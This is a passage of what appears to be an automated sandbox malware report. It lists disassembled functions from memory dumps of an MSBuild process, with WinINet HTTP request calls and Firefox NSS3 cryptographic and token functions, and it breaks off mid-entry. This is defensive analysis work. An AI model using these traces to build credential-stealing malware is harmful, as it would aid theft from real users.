Part of subcall function 6CADAB89: EnterCriticalSection.KERNEL32(6CB2E370,?,?,?,6CAA34DE,6CB2F6CC,?,?,?,?,?,?,?,6CAA3284), ref: 6CADAB94
Part of subcall function 6CADAB89: LeaveCriticalSection.KERNEL32(6CB2E370,?,6CAA34DE,6CB2F6CC,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CADABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CAA3508
kernel32.dll, xrefs: 6CAA34EA

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: ff8b47eec60e92b0f7412cdee83f47749219c62eed79598825a0ee1fdd90e659
Instruction ID: 401819dedf060a80f312b8af7c8d8b22e5852cd08bc734bf11f8fa186b2306ae
Opcode Fuzzy Hash: ff8b47eec60e92b0f7412cdee83f47749219c62eed79598825a0ee1fdd90e659
Instruction Fuzzy Hash: CE31BE71B0121A9BDF00DFB9C948EBAB7B9FB45304F140519E546A3660DA38E945CB60

Function 004168C6 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 79stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00406963: InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004069C5
Part of subcall function 00406963: StrCmpCA.SHLWAPI(?), ref: 004069DF
Part of subcall function 00406963: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406A0E
Part of subcall function 00406963: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00406A4D
Part of subcall function 00406963: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00406A7D
Part of subcall function 00406963: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406A88
Part of subcall function 00406963: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00406AAC

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

StrCmpCA.SHLWAPI(?,ERROR), ref: 0041691A
lstrlenA.KERNEL32(?), ref: 00416925

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

StrStrA.SHLWAPI(00000000,?), ref: 0041693A
lstrlenA.KERNEL32(?), ref: 00416949
lstrlenA.KERNEL32(00000000), ref: 00416962

Strings

ERROR, xrefs: 00416914
ERROR, xrefs: 0041697E
ERROR, xrefs: 0041696D
ERROR, xrefs: 00416985
ERROR, xrefs: 00416977

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$OpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 4174444224-1526165396
Opcode ID: 4f60ac4c37fc32755748fa68b7729d6991887abd1bd3cd8b30ef7de7cbba654f
Instruction ID: f999f3c62c0b23b7ff363c4994354db6f8ba44fc0c3398813b2d55053c878ef3
Opcode Fuzzy Hash: 4f60ac4c37fc32755748fa68b7729d6991887abd1bd3cd8b30ef7de7cbba654f
Instruction Fuzzy Hash: 6021E571910204ABCB10BB75DC469DD77B8AF04308F11512BFC05E3191DB7DD9858F99

Function 6CC0ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CC0DE64), ref: 6CC0ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC0ED22

Part of subcall function 6CC1B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCF18D0,?), ref: 6CC1B095

PL_FreeArenaPool.NSS3(?), ref: 6CC0ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CC0ED6B
PR_CallOnce.NSS3(6CD22AA4,6CC212D0), ref: 6CC0ED38

Part of subcall function 6CB44C70: TlsGetValue.KERNEL32(?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44C97
Part of subcall function 6CB44C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44CB0
Part of subcall function 6CB44C70: PR_Unlock.NSS3(?,?,?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CC0ED52
PR_CallOnce.NSS3(6CD22AA4,6CC212D0), ref: 6CC0ED83
PL_FreeArenaPool.NSS3(?), ref: 6CC0ED95
PL_FinishArenaPool.NSS3(?), ref: 6CC0ED9D

Part of subcall function 6CC264F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CC2127C,00000000,00000000,00000000), ref: 6CC2650E

Strings

security, xrefs: 6CC0ED06

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: ffe186b3c4dc88ce8734ad0e5e43ad110bd35ac30f9ce7c40e209e600df51fc3
Instruction ID: 529a756177e8667a46fe67ba729dc42caac0f7706d420e261ea90aa9a2371499
Opcode Fuzzy Hash: ffe186b3c4dc88ce8734ad0e5e43ad110bd35ac30f9ce7c40e209e600df51fc3
Instruction Fuzzy Hash: B5118C76A403146BE7109726AC84BBB7278FF0170CF05046DF8D062E51F72AA60DC6E7

Function 6CBF2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CBF2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CBF2D07

Part of subcall function 6CCD09D0: PR_Now.NSS3 ref: 6CCD0A22
Part of subcall function 6CCD09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CCD0A35
Part of subcall function 6CCD09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CCD0A66
Part of subcall function 6CCD09D0: PR_GetCurrentThread.NSS3 ref: 6CCD0A70
Part of subcall function 6CCD09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CCD0A9D
Part of subcall function 6CCD09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CCD0AC8
Part of subcall function 6CCD09D0: PR_vsmprintf.NSS3(?,?), ref: 6CCD0AE8
Part of subcall function 6CCD09D0: EnterCriticalSection.KERNEL32(?), ref: 6CCD0B19
Part of subcall function 6CCD09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CCD0B48
Part of subcall function 6CCD09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CCD0C76
Part of subcall function 6CCD09D0: PR_LogFlush.NSS3 ref: 6CCD0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CBF2D22

Part of subcall function 6CCD09D0: OutputDebugStringA.KERNEL32(?), ref: 6CCD0B88
Part of subcall function 6CCD09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCD0C5D
Part of subcall function 6CCD09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CCD0C8D
Part of subcall function 6CCD09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CCD0C9C
Part of subcall function 6CCD09D0: OutputDebugStringA.KERNEL32(?), ref: 6CCD0CD1
Part of subcall function 6CCD09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CCD0CEC
Part of subcall function 6CCD09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CCD0CFB
Part of subcall function 6CCD09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CCD0D16
Part of subcall function 6CCD09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CCD0D26
Part of subcall function 6CCD09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CCD0D35
Part of subcall function 6CCD09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CCD0D65
Part of subcall function 6CCD09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CCD0D70
Part of subcall function 6CCD09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CCD0D90
Part of subcall function 6CCD09D0: free.MOZGLUE(00000000), ref: 6CCD0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CBF2D3B

Part of subcall function 6CCD09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CCD0BAB
Part of subcall function 6CCD09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CCD0BBA
Part of subcall function 6CCD09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CCD0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CBF2D54

Part of subcall function 6CCD09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCD0BCB
Part of subcall function 6CCD09D0: EnterCriticalSection.KERNEL32(?), ref: 6CCD0BDE
Part of subcall function 6CCD09D0: OutputDebugStringA.KERNEL32(?), ref: 6CCD0C16

Strings

pPin = 0x%p, xrefs: 6CBF2D1D
ulPinLen = %d, xrefs: 6CBF2D36
C_InitToken, xrefs: 6CBF2CE7
pLabel = 0x%p, xrefs: 6CBF2D4F
slotID = 0x%x, xrefs: 6CBF2D02

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: f6825e0e5aee0e7d1ea38ee3b623167c2f3c7f8e83f50263bd5ebc9eaf190a20
Instruction ID: 0cf0a841de07b7a5407cff9926597332ef91fe925004132c95481817cb5a4018
Opcode Fuzzy Hash: f6825e0e5aee0e7d1ea38ee3b623167c2f3c7f8e83f50263bd5ebc9eaf190a20
Instruction Fuzzy Hash: 1B21A1792011D0AFEB009B54DD5DE597BB9EB4236DF444011F71497B22EB34984ACB72

Function 6CCD0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CBB2357), ref: 6CCD0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CBB2357), ref: 6CCD0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CCD0EE6

Part of subcall function 6CCD09D0: PR_Now.NSS3 ref: 6CCD0A22
Part of subcall function 6CCD09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CCD0A35
Part of subcall function 6CCD09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CCD0A66
Part of subcall function 6CCD09D0: PR_GetCurrentThread.NSS3 ref: 6CCD0A70
Part of subcall function 6CCD09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CCD0A9D
Part of subcall function 6CCD09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CCD0AC8
Part of subcall function 6CCD09D0: PR_vsmprintf.NSS3(?,?), ref: 6CCD0AE8
Part of subcall function 6CCD09D0: EnterCriticalSection.KERNEL32(?), ref: 6CCD0B19
Part of subcall function 6CCD09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CCD0B48
Part of subcall function 6CCD09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CCD0C76
Part of subcall function 6CCD09D0: PR_LogFlush.NSS3 ref: 6CCD0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CCD0EFA

Part of subcall function 6CBBAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CBBAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCD0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCD0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCD0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCD0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CCD0ED9, 6CCD0EE5, 6CCD0F06, 6CCD0F0B
Aborting, xrefs: 6CCD0EB3

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 0afab16637924d9cf3ad477567b6bab543ecaa24992397d1a94f9b8b3cca8862
Instruction ID: 47612da9e1f2f4c5913116893df520be1f3b829fea09ba5334ea31771b52f4bb
Opcode Fuzzy Hash: 0afab16637924d9cf3ad477567b6bab543ecaa24992397d1a94f9b8b3cca8862
Instruction Fuzzy Hash: 82F0AFB5A001147BEA003B649C4BC9F3E2DDF82264F004034FF0956B02EA36E91596B2

Function 0042672D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00426754
_free.LIBCMT ref: 00426762
_free.LIBCMT ref: 0042676D
_free.LIBCMT ref: 00426741

Part of subcall function 0041DA5B: HeapFree.KERNEL32(00000000,00000000,?,0041D2A3,00000000,0043B7AC,0041D2EA,0040EEBE,?,?,0041D3D4,0043B7AC,?,?,0042ED58,0043B7AC), ref: 0041DA71
Part of subcall function 0041DA5B: GetLastError.KERNEL32(?,?,?,0041D3D4,0043B7AC,?,?,0042ED58,0043B7AC,?,?,?), ref: 0041DA83

___free_lc_time.LIBCMT ref: 0042678B
_free.LIBCMT ref: 00426796
_free.LIBCMT ref: 004267BB
_free.LIBCMT ref: 004267D2
_free.LIBCMT ref: 004267E1

Strings

xLC, xrefs: 0042677B

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lc_time
String ID: xLC
API String ID: 3704779436-381350105
Opcode ID: 75c8617aa577018b802f999097e256e29a76f75524ffb918136c170e5bfc19f7
Instruction ID: 3a25437d7ba4b5db782e2d0491041096a79b2f5d500c154d40e95b3c30946f3d
Opcode Fuzzy Hash: 75c8617aa577018b802f999097e256e29a76f75524ffb918136c170e5bfc19f7
Instruction Fuzzy Hash: 48118FB2A04712DBDB20EF65F885B9A73E5AF81359F55493FE10897241CB3CAC84CB18

Function 6CC34DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CC34DCB

Part of subcall function 6CC20FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBC87ED,00000800,6CBBEF74,00000000), ref: 6CC21000
Part of subcall function 6CC20FF0: PR_NewLock.NSS3(?,00000800,6CBBEF74,00000000), ref: 6CC21016
Part of subcall function 6CC20FF0: PL_InitArenaPool.NSS3(00000000,security,6CBC87ED,00000008,?,00000800,6CBBEF74,00000000), ref: 6CC2102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CC34DE1

Part of subcall function 6CC210C0: TlsGetValue.KERNEL32(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC210F3
Part of subcall function 6CC210C0: EnterCriticalSection.KERNEL32(?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2110C
Part of subcall function 6CC210C0: PL_ArenaAllocate.NSS3(?,?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC21141
Part of subcall function 6CC210C0: PR_Unlock.NSS3(?,?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC21182
Part of subcall function 6CC210C0: TlsGetValue.KERNEL32(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CC34DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC34E59

Part of subcall function 6CC1FAB0: free.MOZGLUE(?,-00000001,?,?,6CBBF673,00000000,00000000), ref: 6CC1FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CCF300C,00000000), ref: 6CC34EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CC34EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CC34F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC3521A

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 1590d92013a7c78d62cafdc6ae766bf3caeaf17408f75f036dcd53aaed8f4f12
Instruction ID: d80ac88beb7dc3f49cc5ad88a5616228490af6fe94611a9fa723851738e016f7
Opcode Fuzzy Hash: 1590d92013a7c78d62cafdc6ae766bf3caeaf17408f75f036dcd53aaed8f4f12
Instruction Fuzzy Hash: 1CF18C71E00219CFDB04CF54E8507ADBBB2FF48358F254169E919AB781E776E982CB90

Function 6CAA4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CAE4843,?), ref: 6CAA45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CAE4843,?), ref: 6CAA468A
free.MOZGLUE(?,?,?,?,?,?,6CAE4843,?), ref: 6CAA46C9
free.MOZGLUE(?), ref: 6CAA46EF
free.MOZGLUE(?), ref: 6CAA4712
free.MOZGLUE(?), ref: 6CAA4735
free.MOZGLUE(?), ref: 6CAA4758
free.MOZGLUE(?), ref: 6CAA477B
free.MOZGLUE(?), ref: 6CAA479E

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 8f3de6b4744a8df1e430e03c419651fede8fddf30f3e310e068f09cbe79f8767
Instruction ID: 88989628c4fe1a82d1df807a15524c9cf27197d33119de5a82a9ca83108f6b17
Opcode Fuzzy Hash: 8f3de6b4744a8df1e430e03c419651fede8fddf30f3e310e068f09cbe79f8767
Instruction Fuzzy Hash: B0B11371A001508FDB18CEBCD9947AD77B2AF46328F184669F416DBB92DB31D8C68B81

Function 6CC30C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CC32C2A), ref: 6CC30C81

Part of subcall function 6CC1BE30: SECOID_FindOID_Util.NSS3(6CBD311B,00000000,?,6CBD311B,?), ref: 6CC1BE44

Part of subcall function 6CC08500: SECOID_GetAlgorithmTag_Util.NSS3(6CC095DC,00000000,00000000,00000000,?,6CC095DC,00000000,00000000,?,6CBE7F4A,00000000,?,00000000,00000000), ref: 6CC08517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC30CC4

Part of subcall function 6CC1FAB0: free.MOZGLUE(?,-00000001,?,?,6CBBF673,00000000,00000000), ref: 6CC1FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC30CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CC30D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CC30D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CC30D7D
free.MOZGLUE(00000000), ref: 6CC30DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC30DC1
free.MOZGLUE(00000000), ref: 6CC30DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC30E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC30E0F

Part of subcall function 6CC095C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CBE7F4A,00000000,?,00000000,00000000), ref: 6CC095E0
Part of subcall function 6CC095C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CBE7F4A,00000000,?,00000000,00000000), ref: 6CC095F5
Part of subcall function 6CC095C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CC09609
Part of subcall function 6CC095C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC0961D
Part of subcall function 6CC095C0: PK11_GetInternalSlot.NSS3 ref: 6CC0970B
Part of subcall function 6CC095C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CC09756
Part of subcall function 6CC095C0: PK11_GetIVLength.NSS3(?), ref: 6CC09767
Part of subcall function 6CC095C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CC0977E
Part of subcall function 6CC095C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC0978E

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

